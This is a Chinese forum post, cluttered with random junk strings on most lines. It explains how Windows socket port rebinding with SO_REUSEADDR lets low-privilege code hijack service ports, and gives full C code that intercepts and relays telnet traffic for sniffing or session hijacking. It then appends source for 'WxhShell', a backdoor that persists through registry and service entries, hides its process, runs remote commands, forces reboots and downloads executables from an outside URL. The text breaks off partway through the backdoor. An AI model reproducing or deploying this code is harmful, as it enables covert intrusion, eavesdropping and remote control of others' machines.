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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Sy]W4%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p8"C`bCf  
cm!|A?-<  
  saddr.sin_family = AF_INET; .l|29{J  
stMxlG"d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tc{l?7P  
Ov4=!o=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vE1:;%Q  
45x4JG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ROvY,-?  
L,!\PV|  
  这意味着什么?意味着可以进行如下的攻击: >FS%-eI6  
_ nz^+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 neE Zw#(Z  
X]n`YF7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }x& X vI  
KS1udH^Zc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n2:Uu>/  
Y+kuj],h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {U@"]{3Qx  
;#+I"Ow  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l>L?T#v!_  
SL/'UoYm<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t,'J%)j  
v;-0^s/P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2^"! p;WQ  
kw} E0uY  
  #include .t9`e=%  
  #include -ik=P ]?  
  #include ,izp^,`  
  #include    Z op/ MeI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sva-Sd8  
  int main() [z"oi'"fQ  
  { xwW(WHdC]  
  WORD wVersionRequested; !I\eIV>0b  
  DWORD ret; P : L6Zo-J  
  WSADATA wsaData; K>5 bb  
  BOOL val; &x=_n'  
  SOCKADDR_IN saddr; F_i"v5#  
  SOCKADDR_IN scaddr; #f;6Ia>#  
  int err; t:P7ah  
  SOCKET s; .r&CIL >  
  SOCKET sc; 1f 1D^|  
  int caddsize; IwS<p -  
  HANDLE mt; h?h)i>  
  DWORD tid;   ueg%D +u  
  wVersionRequested = MAKEWORD( 2, 2 ); #T8jHnI  
  err = WSAStartup( wVersionRequested, &wsaData ); eu8a<  
  if ( err != 0 ) { st~ l||  
  printf("error!WSAStartup failed!\n"); 7]Hf3]e>/  
  return -1; LNrM`3%2-  
  } #%8)'=1+4?  
  saddr.sin_family = AF_INET; L>&{<M_  
   pAq PHD=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O*lIZ,!n  
XiV K4sD8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b6H7>x  
  saddr.sin_port = htons(23); Ao*:$:k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XR p60i6f  
  { N)a5~<fBG  
  printf("error!socket failed!\n"); ;CoD5F!  
  return -1; XMykUr e|  
  } ~|"uuA1/#O  
  val = TRUE; S6C DK:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UUM:*X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ydRS\l  
  { :8hXkQ  
  printf("error!setsockopt failed!\n"); &j/,8 Z*  
  return -1; &~x|w6M]J  
  } 1}SON4U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k_Sm ep  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Os]. IL$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 44w "U%+  
3q@H8%jcw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xr4k]'Mg  
  { s jaaZx1  
  ret=GetLastError(); <lU(9) L;&  
  printf("error!bind failed!\n"); R#?atL$(  
  return -1; LaZ @4/z!  
  } 8Fbt >-N<\  
  listen(s,2); S$P=;#r  
  while(1) ;9-J=@KY4  
  { 0,):;O I  
  caddsize = sizeof(scaddr); jq_4x[  
  //接受连接请求 sFvYCRw /  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n=0^8QQ  
  if(sc!=INVALID_SOCKET) u-bgk(u  
  { ,J<+Wxz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w@YPG{"j  
  if(mt==NULL) 3h%Nd &_9  
  { /QCg E ~  
  printf("Thread Creat Failed!\n"); YguW2R=6]  
  break; FPZ@6  
  } @at*E%T[  
  } "(~fl<;  
  CloseHandle(mt); OwgPgrV  
  } D vN0h(?  
  closesocket(s); paYS< 8In  
  WSACleanup(); ep`8LQf  
  return 0; _5p]Arg?}&  
  }   E@l@f  
  DWORD WINAPI ClientThread(LPVOID lpParam) n:?a=xY  
  { E0aFHC[  
  SOCKET ss = (SOCKET)lpParam; jROh3kq  
  SOCKET sc; X4Uy3TV>  
  unsigned char buf[4096]; ^vzXT>t-M  
  SOCKADDR_IN saddr; [Z;H= `  
  long num; ;<6S\  
  DWORD val; >}C:EnECy  
  DWORD ret; 1N { >00  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (y\.uPu!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P!)F1U]!  
  saddr.sin_family = AF_INET; hv#LKyp%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =i2]qj\  
  saddr.sin_port = htons(23); ' %rn-|)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d7x6r3J$  
  { [iyhrc:@  
  printf("error!socket failed!\n"); lQt,(@7]  
  return -1; !:uh? RW  
  } 2$2@?]|?  
  val = 100; 31%3&B:Ts  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l Dwq[ I]w  
  { 9\E];~"iP  
  ret = GetLastError(); *$JS}Pax  
  return -1; :; La V  
  } !>+m46A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p^p1{%=  
  { ]C|xo.=?]  
  ret = GetLastError(); I8IH\5k  
  return -1; N>g6KgX{K  
  } ;qUd]c9oi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s%m?Yh3  
  { =NPo<^Lae  
  printf("error!socket connect failed!\n"); h ^w# I  
  closesocket(sc); S3QX{5t\  
  closesocket(ss); BHNJH  
  return -1; {n<1uh9~$8  
  } U D5hk  
  while(1) OKj\>3  
  { *Ct ^jU7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P`_Q-vu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a +9_sUq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \!0~$?_)P  
  num = recv(ss,buf,4096,0); 3cNr~`7  
  if(num>0) o_ixdnc  
  send(sc,buf,num,0); q'Y)Y(d  
  else if(num==0) u=#_8e(9Z  
  break; Cs,t:ajP  
  num = recv(sc,buf,4096,0); ,ob)6P^rw  
  if(num>0) Q%V530 P;  
  send(ss,buf,num,0); C [8='i26  
  else if(num==0) sd*NY  
  break; jT-tsQ .,  
  } Go~3L8 '  
  closesocket(ss); 6HpiG`  
  closesocket(sc); : D !/.0  
  return 0 ; <c [X^8   
  } KJV],6d  
FuFICF7+C  
SuBUhzR  
========================================================== 6Q*zZ]kg  
T\7t#Z k  
下边附上一个代码,,WXhSHELL nv: VX{%  
|4` ;G(ta  
========================================================== {Z~ze`N/  
'm/`= QX  
#include "stdafx.h" j<w5xY  
_sCzee&uQ  
#include <stdio.h> mP_c-qD |  
#include <string.h> iTCY $)J  
#include <windows.h> P Qi=  
#include <winsock2.h> o'YK\L!p  
#include <winsvc.h> 8`WaUB%  
#include <urlmon.h> 1t#|MH ?U_  
<sjz_::V8R  
#pragma comment (lib, "Ws2_32.lib") ZM57(D  
#pragma comment (lib, "urlmon.lib") 0!1cHB/c  
;PMy9H  
#define MAX_USER   100 // 最大客户端连接数 N_VWA.JHt  
#define BUF_SOCK   200 // sock buffer @4]dv> Z  
#define KEY_BUFF   255 // 输入 buffer - KaU@t  
cA!o xti  
#define REBOOT     0   // 重启 ovvg"/>L  
#define SHUTDOWN   1   // 关机 7X.B  
V?jot<|$  
#define DEF_PORT   5000 // 监听端口 M-C>I;a  
#ePtfRzJ  
#define REG_LEN     16   // 注册表键长度 zZPXI&,  
#define SVC_LEN     80   // NT服务名长度 AUr~b3< 6  
^F|/\i   
// 从dll定义API ]"\sd"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cs^'g'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w?R#ly  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aR%E"P-6l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ | (Tg  
"^VPe[lA  
// wxhshell配置信息 (<Kf  
struct WSCFG { ^'hh?mL  
  int ws_port;         // 监听端口 }>'1Qg  
  char ws_passstr[REG_LEN]; // 口令 E*}1_,q)  
  int ws_autoins;       // 安装标记, 1=yes 0=no l9{.~]V  
  char ws_regname[REG_LEN]; // 注册表键名 |vh{Kb@  
  char ws_svcname[REG_LEN]; // 服务名 ;n/04z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ve[&_(fP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6>Is-/hsy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9aY}+hgb#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mGc i >)2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f;,^ ]mw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tE:6  
"!PN+gB  
}; m Wh   
aByd,uSe)_  
// default Wxhshell configuration 9Pdol!  
struct WSCFG wscfg={DEF_PORT, ;0O>$|kg  
    "xuhuanlingzhe", nSbcq>3  
    1, _Xfn  
    "Wxhshell", h09fU5l  
    "Wxhshell", $HFimU,V=0  
            "WxhShell Service", 0JV|wd8j  
    "Wrsky Windows CmdShell Service", ?&@a{-  
    "Please Input Your Password: ", '2S?4Z  
  1, p</V_BIW  
  "http://www.wrsky.com/wxhshell.exe", ;PWx#v+vwF  
  "Wxhshell.exe" 1&utf0TX6q  
    }; OUtMel_  
~s) `y2Y  
// 消息定义模块 5_Oxl6#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p4wx&VLi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q;2n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; * o#P)H  
char *msg_ws_ext="\n\rExit."; [^\HP] *Q{  
char *msg_ws_end="\n\rQuit."; |OO2>(Fj  
char *msg_ws_boot="\n\rReboot..."; -AM(-  
char *msg_ws_poff="\n\rShutdown..."; !u=A9i!  
char *msg_ws_down="\n\rSave to "; Y i`wj^  
aHSl_[  
char *msg_ws_err="\n\rErr!"; b|u0a6  
char *msg_ws_ok="\n\rOK!"; q,.@<sW  
42.y.LtZ  
char ExeFile[MAX_PATH]; t ;bU#THM  
int nUser = 0; f^@D uI  
HANDLE handles[MAX_USER]; .2QZe8"  
int OsIsNt; b%UbTb,  
eq7>-Dmi@  
SERVICE_STATUS       serviceStatus; ]+@I] \S4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $/$ 5{<  
^<+V[ =X  
// 函数声明 YiTVy/  
int Install(void); {3|h^h_R  
int Uninstall(void); T9-2"M=|<  
int DownloadFile(char *sURL, SOCKET wsh); WXJ%hA  
int Boot(int flag); GvT ~zNd  
void HideProc(void); oNIt<T  
int GetOsVer(void); IF <<6.tz  
int Wxhshell(SOCKET wsl); kZ<"hsh,Y'  
void TalkWithClient(void *cs); KDJ-IXoU  
int CmdShell(SOCKET sock); fH ?s~X]  
int StartFromService(void);  [?moS!  
int StartWxhshell(LPSTR lpCmdLine); fwz-)?   
!)LVZfQ0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 UG UZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e c4vX  
.v_-V?7  
// 数据结构和表定义 *dX 7  
SERVICE_TABLE_ENTRY DispatchTable[] = t4r%EP|Zt  
{ ,2`FSL%J  
{wscfg.ws_svcname, NTServiceMain}, )|E617g  
{NULL, NULL} #;F*rJ[XY  
}; &4jc3_UKV  
!ZzDSQ ;  
// 自我安装 9{XV=a v  
int Install(void) uN9J?j*ir  
{ TX$4x~:  
  char svExeFile[MAX_PATH]; 3s$vaV~(a  
  HKEY key; 9<-7AN}Z  
  strcpy(svExeFile,ExeFile); L3'$"L.|u  
_?c7{  
// 如果是win9x系统,修改注册表设为自启动 i6$q1*  
if(!OsIsNt) { roHJ$~q?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oS#PBql4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); noQS bI @  
  RegCloseKey(key); Ql{:H5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h0;R*c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q;0 g  
  RegCloseKey(key); 3\0,>L9ET@  
  return 0; }BJR/r  
    } D;+sStZK3  
  } P8n |MN  
} K)s{D ] B  
else { p\ _&  
T!Z).PA#  
// 如果是NT以上系统,安装为系统服务 ,HtX D~N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3D2i32Y@!  
if (schSCManager!=0) }C<$q  
{ 9UE)4*5  
  SC_HANDLE schService = CreateService 7~m[:Eg6[s  
  ( 7'idjcR  
  schSCManager, %>!$ eCX  
  wscfg.ws_svcname, ) S,f I  
  wscfg.ws_svcdisp, I7Xm~w!{qk  
  SERVICE_ALL_ACCESS, =RjseTS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K%WG[p\Eu  
  SERVICE_AUTO_START, 7L$\S[E  
  SERVICE_ERROR_NORMAL, \,-e>  
  svExeFile, pMLTXqL  
  NULL, .1A/hAdU  
  NULL, =a!_H=+4  
  NULL, \<W/Z.}/  
  NULL, Fu[<zA^  
  NULL y4j\y ? T8  
  ); H_d^Xk QZ  
  if (schService!=0) -DL"Yw}  
  { dd:vQOF;  
  CloseServiceHandle(schService); >h{)7Hv  
  CloseServiceHandle(schSCManager); }}gtz-w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J)._&O$  
  strcat(svExeFile,wscfg.ws_svcname); 0Q!/A5z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u Xo?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cN%@ nW0i  
  RegCloseKey(key); KK, t!a  
  return 0; -xL^UcG0  
    } |wGmu&fY  
  } ^:Fj+d  
  CloseServiceHandle(schSCManager); F-%Hw  
} f:KZP;/[c  
} \t?rHB3"  
QyD(@MFxb  
return 1; *1g3,NMA  
} k]9+/ $  
tx,q=.(  
// 自我卸载 rBZ0Fx$/[  
int Uninstall(void) W}'l8z]   
{ O 4'/C]B 2  
  HKEY key; UOn:@Qn  
e3,@prr  
if(!OsIsNt) { n<e1=L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mKuY=#RP  
  RegDeleteValue(key,wscfg.ws_regname); r2T$ ;m.  
  RegCloseKey(key); vq:?a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0^K2"De  
  RegDeleteValue(key,wscfg.ws_regname); -1}&\=8M  
  RegCloseKey(key); +,T z +!  
  return 0; >9<YQ(  
  } B ,U|V  
} 9Xh1i`.D  
} P71] Z  
else { _f"KB=A_x  
rVZlv3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i'p6#  
if (schSCManager!=0) 1'f&  
{ @|D#lBm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {JQCfs  
  if (schService!=0) D-LQQ{!D5  
  { 00/ RBs 5  
  if(DeleteService(schService)!=0) { Q$b4\n?44  
  CloseServiceHandle(schService); $V,ZH* g  
  CloseServiceHandle(schSCManager); m,V"S(A  
  return 0; Q%x-BZb~  
  } `PZcL2~E  
  CloseServiceHandle(schService); 6k`O  
  } [C{oj*"c]  
  CloseServiceHandle(schSCManager); 3L:SJskYR  
} mwO9`AU;  
} ujS C  
13fyg7^JP  
return 1; /Xl(>^|&  
} Pye/o  
:QIf0*.O  
// 从指定url下载文件 zE+^WeH|  
int DownloadFile(char *sURL, SOCKET wsh) =rA]kGx  
{ [@Mo3]#\  
  HRESULT hr; m>djoe  
char seps[]= "/"; @]etW>F_  
char *token; kQD~v+u{`  
char *file; eh}|Wd7J  
char myURL[MAX_PATH]; B*:W`}G]_c  
char myFILE[MAX_PATH]; ?-JW2 E"uT  
Q7-'5s   
strcpy(myURL,sURL); q\xsXM  
  token=strtok(myURL,seps); Zs2;VW4RW  
  while(token!=NULL) ]z8Th5a?o  
  { '&/~Sh$%  
    file=token; |_OoD9,M  
  token=strtok(NULL,seps); %LBf'iA  
  } 2TgS )  
u Au'2M,_  
GetCurrentDirectory(MAX_PATH,myFILE); 9r> iP L2H  
strcat(myFILE, "\\"); 9SXpZ*Sx  
strcat(myFILE, file); 3hcWR'|  
  send(wsh,myFILE,strlen(myFILE),0); <[vsGUbc  
send(wsh,"...",3,0); f`YHZ O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 49= K]X  
  if(hr==S_OK) (t5vBUj  
return 0; E Q]>^VE2B  
else v%7Gh -P  
return 1; W@RD bsc  
Z-3("%_$/  
} +V;d^&S  
}=A+W2D  
// 系统电源模块 Hi^ Z`97c  
int Boot(int flag) rJ(AO'=  
{ Vi#[k n'  
  HANDLE hToken; wb ^>/  
  TOKEN_PRIVILEGES tkp; \+"Jg/)ij  
5xQ5)B4k  
  if(OsIsNt) { WO$8j2!~#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F`>qg2wO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x"A\ Z-xxz  
    tkp.PrivilegeCount = 1; = u&dU'@q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #'. '|z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZB]234`0  
if(flag==REBOOT) { NR"C@3kD]o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xVTl  
  return 0; 5b->pc  
} -@Z9h)G|  
else { {4*5Z[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) udPLWrPF\  
  return 0; pm2]  
} f8-~&N/_R  
  } ,6ae='=d  
  else { qp{~OW3  
if(flag==REBOOT) { N'0nt]&a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h6?o)Q>N  
  return 0; pZ]&M@Ijp  
} <) -]'@*c  
else { 5=  V29  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SNf~%B?`L  
  return 0; &yI>A1  
} Oj8D+sC{  
} &~'i,v|E  
j Q8 T  
return 1; y5XFJj  
} 92~$Qa\S!  
(a"/cH  
// win9x进程隐藏模块 sGE %zCB  
void HideProc(void) OW#G{#.6R  
{ ";^_[n  
`|mV~F|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c *i,z  
  if ( hKernel != NULL ) \eAV: qV  
  { J!">L+Zcx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); js!C`]1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Kd\d>&b  
    FreeLibrary(hKernel); 9*XT|B  
  } ilZQ/hOBH  
{asq[;]  
return; PKd'lo  
} {REGoe=W%  
>h.HW  
// 获取操作系统版本 rr>6;  
int GetOsVer(void) K5z<n0X ~  
{ OTNI@jQ)  
  OSVERSIONINFO winfo; @'y8* _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Df$~=A}  
  GetVersionEx(&winfo); A)&CI6(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w|NId,#f  
  return 1; 0QyL}y2  
  else *;Cpz[N  
  return 0; 3J8M0W   
} /. H(&  
Ucz=\dO1  
// 客户端句柄模块 }PM7CZSq  
int Wxhshell(SOCKET wsl) 5W=Jn?y2  
{ m -0EcA/  
  SOCKET wsh; #99=wn  
  struct sockaddr_in client; 7~;)N$d\  
  DWORD myID; xrI9t?QaCb  
d%K{JkD-  
  while(nUser<MAX_USER) ca5;Z@t$S  
{ ]f}(i D  
  int nSize=sizeof(client); X~/-,oV=A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qyh]v[  
  if(wsh==INVALID_SOCKET) return 1; #o,FVYYj  
cucT |y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PDLps[a  
if(handles[nUser]==0) jv6>7@<G  
  closesocket(wsh); 74&{GCL  
else "'/+}xM"5  
  nUser++; ;P$ _:-C  
  } qn'TIE.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Sr_hD5!  
BB_(!omq[  
  return 0; OX?E3 <8`  
} L[<CEk  
^ > ?C  
// 关闭 socket ^/#8 "  
void CloseIt(SOCKET wsh) oFT1d  
{ DyA1zwp}  
closesocket(wsh);  kq([c r  
nUser--; \tY7Ga%c  
ExitThread(0); L\!Oj5  
} N8=-=]0G  
aOQT-C[ O  
// 客户端请求句柄 keStK8  
void TalkWithClient(void *cs) f1?%p)C  
{ wA6E7vi'  
-B(p8YH  
  SOCKET wsh=(SOCKET)cs; [k&7h,  
  char pwd[SVC_LEN]; w,_LC)9  
  char cmd[KEY_BUFF]; O[z6W.  
char chr[1]; }:QoYNq  
int i,j; N vTp1kI]  
G:` So  
  while (nUser < MAX_USER) { NG23  
W|(<z'S  
if(wscfg.ws_passstr) { D&pX0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *SlWA)9 Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D-O{/  
  //ZeroMemory(pwd,KEY_BUFF); ZI8@ 6L\  
      i=0; Mm1>g~o  
  while(i<SVC_LEN) { s6#e?5J  
hZ.](rD  
  // 设置超时 e@S\7Ks  
  fd_set FdRead; q8,,[R_  
  struct timeval TimeOut; k ~F ,n  
  FD_ZERO(&FdRead); e2 g`T{6M  
  FD_SET(wsh,&FdRead); [xQ.qZ[h&  
  TimeOut.tv_sec=8; %(H' j@D[  
  TimeOut.tv_usec=0; ^NM>x Ienf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O1+yOef"k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3(gOF&Uf9  
ed`7GZB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L$@+'Qn@:  
  pwd=chr[0]; )@!T_#  
  if(chr[0]==0xd || chr[0]==0xa) { J3B+WD]  
  pwd=0; Z&=Oe^  
  break; ?_ v_*+b_  
  } ; 7QG]JX  
  i++; rFUd  
    } :LC3>x`:  
IWI$@dng6  
  // 如果是非法用户,关闭 socket {xTh!ih2 -  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wF59g38[z$  
} " RIt  
!lA~;F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~PU}==*q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kV8qpw}K  
_lRIS_^;eE  
while(1) { +}:2DXy@  
3df5 e0  
  ZeroMemory(cmd,KEY_BUFF); OYb:);o,iE  
|`fuu2W!  
      // 自动支持客户端 telnet标准   c0w1 N]+Ne  
  j=0; ps:E(\  
  while(j<KEY_BUFF) { dxH.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y(E<MRd8V  
  cmd[j]=chr[0]; Z|)1ftcC  
  if(chr[0]==0xa || chr[0]==0xd) { #&?}h)Jr'  
  cmd[j]=0; 4r86@^c*  
  break; l-x-  
  } |CQ0{1R1  
  j++; ]86*k %A  
    } H\a\xCP3  
:)kHXOb.  
  // 下载文件 '+'h^  
  if(strstr(cmd,"http://")) { "|R75m,Id  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |$+/IxDP  
  if(DownloadFile(cmd,wsh)) @=Dc(5`[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ef7%0  
  else W1ndb:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uv~|Xj4.  
  } mHJGpJ=a-  
  else { $1Wb`$  
5fz K*[B  
    switch(cmd[0]) { s?4nR:ZC}  
  r`RLDN!`  
  // 帮助 .RyuWh!5  
  case '?': { 'q RQO(9&m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +oHbAPs8  
    break; ou`KkY||  
  } =)*Z rD  
  // 安装 zz(EH<>  
  case 'i': { nwqA\  
    if(Install()) 4]-7S l,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 02,.UqCz  
    else hF`<I.z}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e@/' o/  
    break; SMfa(+VI  
    } A5]yC\*zt  
  // 卸载 e<FMeg7n  
  case 'r': { Z`zLrXPD)  
    if(Uninstall()) 4X+I2CD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d>Nh<PqH6  
    else >+>N/`BG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %?[0G,JG  
    break; m`]d`%Ex  
    } {) sE;p-  
  // 显示 wxhshell 所在路径 }U4mXkZF  
  case 'p': { iM9^.  
    char svExeFile[MAX_PATH]; oTcf[<   
    strcpy(svExeFile,"\n\r"); EWv[Sp  
      strcat(svExeFile,ExeFile); ;d_<6|*M  
        send(wsh,svExeFile,strlen(svExeFile),0); <=w!:   
    break; !4 lN[  
    } 4gWlSm)  
  // 重启 Lw1[)Vk}E  
  case 'b': { <s$T7Zk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FN (O  
    if(Boot(REBOOT)) :2')`xT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zE?dQD^OD  
    else { 2v#gCou  
    closesocket(wsh); 4x@W]*i  
    ExitThread(0);  obPG]*3  
    } }7P[%(T5  
    break; p{ ``a=  
    } %Z,n3iND  
  // 关机 bD|VT  
  case 'd': { Pf?15POg&B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4?[1JN>  
    if(Boot(SHUTDOWN)) joZd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8pp;" "b  
